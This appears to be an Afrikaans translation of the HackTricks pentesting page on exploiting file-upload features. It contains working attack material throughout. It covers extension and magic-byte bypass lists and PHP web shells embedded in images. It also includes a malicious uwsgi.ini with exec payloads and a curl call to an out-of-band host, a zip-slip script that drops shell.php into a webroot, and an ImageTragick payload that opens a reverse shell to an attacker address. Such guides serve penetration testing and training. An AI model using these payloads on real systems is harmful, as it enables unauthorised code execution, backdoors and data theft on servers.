hacktricks/pentesting-web/file-upload/README.md

26 KiB
Raw Blame History

File Upload

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

As jy belangstel in 'n hacking loopbaan en die onhackbare hack - ons huur aan! (vloeiend in geskryf en gesproke Pools vereis).

{% embed url="https://www.stmcyber.com/careers" %}

File Upload Algemene Metodologie

Ander nuttige uitbreidings:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Werk in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypass file extensions checks

  1. As hulle van toepassing is, kontroleer die vorige uitbreidings. Toets hulle ook met 'n paar hoofdletters: pHp, .pHP5, .PhAr ...
  2. Kontroleer om 'n geldige uitbreiding voor die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):
  • file.png.php
  • file.png.Php5
  1. Probeer om spesiale karakters aan die einde toe te voeg. Jy kan Burp gebruik om bruteforce al die ascii en Unicode karakters. (Let daarop dat jy ook die vorige genoem uitbreidings kan probeer)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Probeer om die beskermings te omseil deur die uitbreiding parser van die bediener-kant te mislei met tegnieke soos dubbel die uitbreiding of rommel data (null bytes) tussen uitbreidings. Jy kan ook die vorige uitbreidings gebruik om 'n beter payload voor te berei.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Voeg nog 'n laag van uitbreidings by die vorige kontrole:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Probeer om die exec uitbreiding voor die geldige uitbreiding te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding** .php, maar nie noodwendig eindig in .php** sal kode uitvoer):
  • ex: file.php.png
  1. Gebruik NTFS alternatiewe datastroom (ADS) in Windows. In hierdie geval sal 'n kolon karakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n leĂ« lĂȘer met die verbode uitbreiding op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lĂȘer kan later met ander tegnieke soos om sy kort lĂȘernaam te gebruik, gewysig word. Die “::$data” patroon kan ook gebruik word om nie-leĂ« lĂȘers te skep. Daarom kan dit ook nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
  2. Probeer om die lĂȘernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
# Linux maksimum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier en voeg .png by
# Laai die lĂȘer op en kontroleer die antwoord hoeveel karakters dit toelaat. Laat ons sĂȘ 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Maak die payload
AAA<--SNIP 232 A-->AAA.php.png

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type kontroles deur die waarde van die Content-Type kop in te stel op: image/png , text/plain , application/octet-stream
  1. Content-Type woordlys: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Bypass magic number kontrole deur aan die begin van die lĂȘer die bytes van 'n werklike beeld toe te voeg (verwar die file opdrag). Of stel die shell in die metadata in:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ of jy kan ook die payload direk in 'n beeld invoeg:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • As kompressie aan jou beeld bygevoeg word, byvoorbeeld deur 'n paar standaard PHP biblioteke soos PHP-GD te gebruik, sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die PLTE chunk tegniek hier gedefinieer gebruik om 'n teks in te voeg wat kompressie sal oorleef.
  • Github met die kode
  • Die webblad kan ook die beeld hergroott, byvoorbeeld deur die PHP-GD funksies imagecopyresized of imagecopyresampled te gebruik. Jy kan egter die IDAT chunk tegniek hier gedefinieer gebruik om 'n teks in te voeg wat kompressie sal oorleef.
  • Github met die kode
  • 'n Ander tegniek om 'n payload te maak wat 'n beeld hergroting oorleef, gebruik die PHP-GD funksie thumbnailImage. Jy kan egter die tEXt chunk tegniek hier gedefinieer gebruik om 'n teks in te voeg wat kompressie sal oorleef.
  • Github met die kode

Ander Truuks om te kontroleer

  • Vind 'n kwesbaarheid om die lĂȘer wat reeds opgelaai is te hernoem (om die uitbreiding te verander).
  • Vind 'n Local File Inclusion kwesbaarheid om die backdoor uit te voer.
  • Mogelijke Inligting openbaar:
  1. Laai verskeie kere (en op die selfde tyd) die dieselfde lĂȘer met die dieselfde naam
  2. Laai 'n lĂȘer op met die naam van 'n lĂȘer of map wat reeds bestaan
  3. Laai 'n lĂȘer op met “.”, “..”, of “
” as sy naam. Byvoorbeeld, in Apache in Windows, as die toepassing die opgelaaide lĂȘers in die “/www/uploads/” gids stoor, sal die “.” lĂȘernaam 'n lĂȘer genaamd “uploads” in die “/www/” gids skep.
  4. Laai 'n lĂȘer op wat dalk nie maklik verwyder kan word nie, soos “
:.jpg” in NTFS. (Windows)
  5. Laai 'n lĂȘer op in Windows met ongeldige karakters soos |<>*?” in sy naam. (Windows)
  6. Laai 'n lĂȘer op in Windows met gereserveerde (verbode) name soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
  • Probeer ook om 'n uitvoerbare lĂȘer (.exe) of 'n .html (minder verdag) op te laai wat kode sal uitvoer wanneer dit per ongeluk deur die slagoffer geopen word.

Spesiale uitbreiding truuks

As jy probeer om lĂȘers na 'n PHP bediener op te laai, kyk na die .htaccess truuk om kode uit te voer.
As jy probeer om lĂȘers na 'n ASP bediener op te laai, kyk na die .config truuk om kode uit te voer.

Die .phar lĂȘers is soos die .jar vir java, maar vir php, en kan gebruik word soos 'n php lĂȘer (dit met php uitvoer, of dit binne 'n skrip insluit...)

Die .inc uitbreiding word soms gebruik vir php lĂȘers wat slegs gebruik word om lĂȘers in te voer, so, op 'n stadium, kon iemand hierdie uitbreiding toegelaat het om uitgevoer te word.

Jetty RCE

As jy 'n XML-lĂȘer in 'n Jetty-bediener kan oplaai, kan jy RCE verkry omdat nuwe *.xml en *.war outomaties verwerk. Soos genoem in die volgende beeld, laai die XML-lĂȘer op na $JETTY_BASE/webapps/ en verwag die shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: uWSGI RCE Exploitation.

Afstandsopdrag-uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoĂ« het om die .ini konfigurasielĂȘer te wysig. uWSGI konfigurasielĂȘers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as @(filename), is ontwerp om die inhoud van 'n lĂȘer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Afstandsopdrag-uitvoering of ArbitrĂȘre LĂȘer Skryf/Lees wanneer 'n .ini konfigurasielĂȘer verwerk word.

Oorweeg die volgende voorbeeld van 'n skadelike uwsgi.ini lĂȘer, wat verskeie skemas toon:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lĂȘer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ineenstorting of as gevolg van 'n Denial of Service-aanval) of die lĂȘer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lĂȘer op gespesifiseerde tydperke wanneer veranderinge opgespoor word.

Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lĂȘerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binĂȘre lĂȘer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiĂ«le uitbuiting verder verbreed.

wget LĂȘer Laai/SSRF Trick

In sommige gevalle mag jy vind dat 'n bediener wget gebruik om lĂȘers af te laai en jy kan die URL aangee. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lĂȘers binne 'n witlys is om te verseker dat slegs toegelate lĂȘers afgelaai gaan word. egter, hierdie kontrole kan omseil word.
Die maksimum lengte van 'n lĂȘernaam in linux is 255, egter, wget sny die lĂȘernames tot 236 karakters. Jy kan 'n lĂȘer aflaai met die naam "A"*232+".php"+".gif", hierdie lĂȘernaam sal die kontrole omseil (soos in hierdie voorbeeld is ".gif" 'n geldige uitbreiding) maar wget sal die lĂȘer hernoem na "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note dat 'n ander opsie wat jy dalk oorweeg om hierdie kontrole te omseil, is om die HTTP-bediener te laat herlei na 'n ander lĂȘer, sodat die aanvanklike URL die kontrole sal omseil en dan wget die herleide lĂȘer met die nuwe naam sal aflaai. Dit sal nie werk tenzij wget gebruik word met die parameter --trust-server-names nie, want wget sal die herleide bladsy aflaai met die naam van die lĂȘer wat in die oorspronklike URL aangedui is.

Gereedskap

  • Upload Bypass is 'n kragtige hulpmiddel wat ontwerp is om Pentesters en Bug Hunters te help om lĂȘeroplaaimeganismes te toets. Dit benut verskeie bug bounty tegnieke om die proses van die identifisering en benutting van kwesbaarhede te vereenvoudig, wat deeglike assesserings van webtoepassings verseker.

Van lĂȘeroplaai na ander kwesbaarhede

Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van hier):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Gestoor XSS / SSRF / XXE
  3. GIF: Gestoor XSS / SSRF
  4. CSV: CSV inspuiting
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML inspuiting / XSS / Open redirect
  8. PNG / JPEG: Pixel vloedaanval (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Uitbreiding

{% embed url="https://github.com/portswigger/upload-scanner" %}

Magiese Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Verwys na https://en.wikipedia.org/wiki/List_of_file_signatures vir ander lĂȘertipes.

Zip/Tar LĂȘer Outomaties gedecomprimeerde Oplaai

As jy 'n ZIP kan oplaai wat binne die bediener gedecomprimeer gaan word, kan jy 2 dinge doen:

Laai 'n skakel op wat sagte skakels na ander lĂȘers bevat, dan, deur toegang te verkry tot die gedecomprimeerde lĂȘers, sal jy toegang hĂȘ tot die gelinkte lĂȘers:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decompress in different folders

Die onverwagte skepping van lĂȘers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling dalk teen OS-vlak opdraguitvoering deur kwaadwillige lĂȘeroplaaie kan beskerm, kan die hiĂ«rargiese kompressieondersteuning en gidse traversering vermoĂ«ns van die ZIP-argiefformaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai-gidse te ontsnap deur die dekompressiefunksionaliteit van die geteikende toepassing te manipuleer.

'n Geoutomatiseerde uitbuiting om sulke lĂȘers te vervaardig is beskikbaar by evilarc op GitHub. Die nut kan soos volg gebruik word:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Daarnaast is die symlink truuk met evilarc 'n opsie. As die doelwit is om 'n lĂȘer soos /flag.txt te teiken, moet 'n symlink na daardie lĂȘer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking ondervind nie.

Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lĂȘer te skep:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Misbruik van kompressie vir lĂȘer spuit

Vir verdere besonderhede kyk die oorspronklike pos in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Skep 'n PHP Shell: PHP kode word geskryf om opdragte uit te voer wat deur die $_REQUEST veranderlike oorgedra word.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. LĂȘer Spuit en Gecomprimeerde LĂȘer Skep: Meerdere lĂȘers word geskep en 'n zip-argief word saamgestel wat hierdie lĂȘers bevat.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Wysiging met 'n Hex Editor of vi: Die name van die lĂȘers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om directories te traverse.
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Laai hierdie inhoud op met 'n beeld uitbreiding om die kwesbaarheid te benut (ImageMagick , 7.0.1-1) (vorm die exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Inbedde PHP Shell op PNG

Inbedde 'n PHP shell in die IDAT-gedeelte van 'n PNG-lĂȘer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies imagecopyresized en imagecopyresampled van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroepeer en te hersampel. Die vermoĂ« van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.

'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: "Encoding Web Shells in PNG IDAT chunks". Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.

Meer inligting in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot LĂȘers

Polyglot lĂȘers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lĂȘerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n GIFAR, 'n hibriede wat sowel as 'n GIF en 'n RAR-argief funksioneer. Sulke lĂȘers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.

Die kernnut van polyglot lĂȘers lĂȘ in hul vermoĂ« om sekuriteitsmaatreĂ«ls te omseil wat lĂȘers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lĂȘertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lĂȘers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lĂȘertipes, kan egter stilweg hierdie beperkings omseil.

Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lĂȘer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhang van die platform se lĂȘeruitbreidingbeleide. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurdualisiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie.

Meer inligting in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Verwysings

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}